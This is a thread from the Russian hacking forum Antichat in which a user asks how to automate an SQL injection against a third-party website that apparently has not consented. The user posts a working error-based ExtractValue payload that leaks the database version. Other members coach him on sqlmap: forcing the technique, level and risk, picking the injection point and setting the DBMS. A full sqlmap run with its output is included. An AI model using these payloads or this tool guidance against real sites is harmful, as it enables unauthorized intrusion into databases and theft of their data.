Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Проблема с SQL (https://forum.antichat.xyz/showthread.php?t=459113)

Sensoft 27.12.2017 15:46

Есть SQL



http://сайт ру/crysis-1'

SQLmmp не видит level и Risk не помогает

Как можно вьебать данную херню ?

'or(ExtractValue(1,concat(0x3a,(select(version())) )))='1 (показует версию) могу увидеть название и самой BD но мне нужно автоматизировать

Xsite 27.12.2017 15:54

я дико извиняюсь , а разве sqlmap xpath видит ?

Sensoft 27.12.2017 15:55

Цитата:

Сообщение от Xsite
Xsite said:

я дико извиняюсь , а разве sqlmap xpath видит ?

в душе не чаю

t0ma5 27.12.2017 15:59

error based sqlmap видит, технику можно явно указать

Код:

Code:
--technique=E

B: Boolean-based blind

E: Error-based

U: Union query-based

S: Stacked queries

T: Time-based blind

Q: Inline queries

Sensoft 27.12.2017 16:08

Цитата:

Сообщение от t0ma5
t0ma5 said:

error based sqlmap видит, технику можно явно указать
Код:

Code:
--technique=E

B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries

Код:

Code:
> sqlmap -u site/1'%22/forum/games/call-of-duty-games/call-of-duty-5-world-at-war/page2 --technique=E --dbs
        ___
      __H__
 ___ ___["]_____ ___ ___  {1.1.10.9#dev}
|_ -| . [)]    | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V          |_|  http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:06:38

[15:06:38] [WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q]
[15:06:39] [INFO] testing connection to the target URL
sqlmap got a 301 redirect to 'http://www.site/1'%22/forum/games/call-of-duty-games/call-of-duty-5-world-at-war/page2'. Do you want to follow? [Y/n]
[15:06:40] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[15:06:40] [INFO] testing for SQL injection on URI parameter '#1*'
[15:06:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:06:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:06:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:06:45] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:06:47] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[15:06:48] [WARNING] URI parameter '#1*' does not seem to be injectable
[15:06:48] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Rerun without providing the option '--technique'. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp'). If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')


Sensoft 27.12.2017 16:14

https://github.com/r0oth3x49/Xpath

пытаюсь через это мож прокатит

Sensoft 27.12.2017 16:24

Цитата:

Сообщение от Sensoft
Sensoft said:

https://github.com/r0oth3x49/Xpath
пытаюсь через это мож прокатит

не прокатило

t0ma5 27.12.2017 16:31

Цитата:

Сообщение от Sensoft
Sensoft said:

не прокатило

-v 3 добавь, увидишь какие запросы шлет sqlmap, плюс level/risk выстави

вообще если сайт плюётся ошибками на кавычку, то как то странно что скульмап его не видит

Alexandr17 27.12.2017 17:04

SQL injection on URI parameter '#1*' у тебя в линке. Ты жмякнул Y и он пошел не по той лабуде, а именно #1. Жмякни N и он пойдет по другому параметру. Если бурпом как вижу сканил, то мап 100% должен видеть уязвимость. Тем более в GET запросе. Пробуй указать принудительно тип базы данных, чтобы он по всем не шел. --dbms=MySQL

Sensoft 27.12.2017 17:05

Цитата:

Сообщение от Alexandr17
Alexandr17 said:

SQL injection on URI parameter '#1*' у тебя в линке. Ты жмякнул Y и он пошел не по той лабуде, а именно #1. Жмякни N и он пойдет по другому параметру. Если бурпом как вижу сканил, то мап 100% должен видеть уязвимость. Тем более в GET запросе

поверь не видет вообще не как


Время: 01:38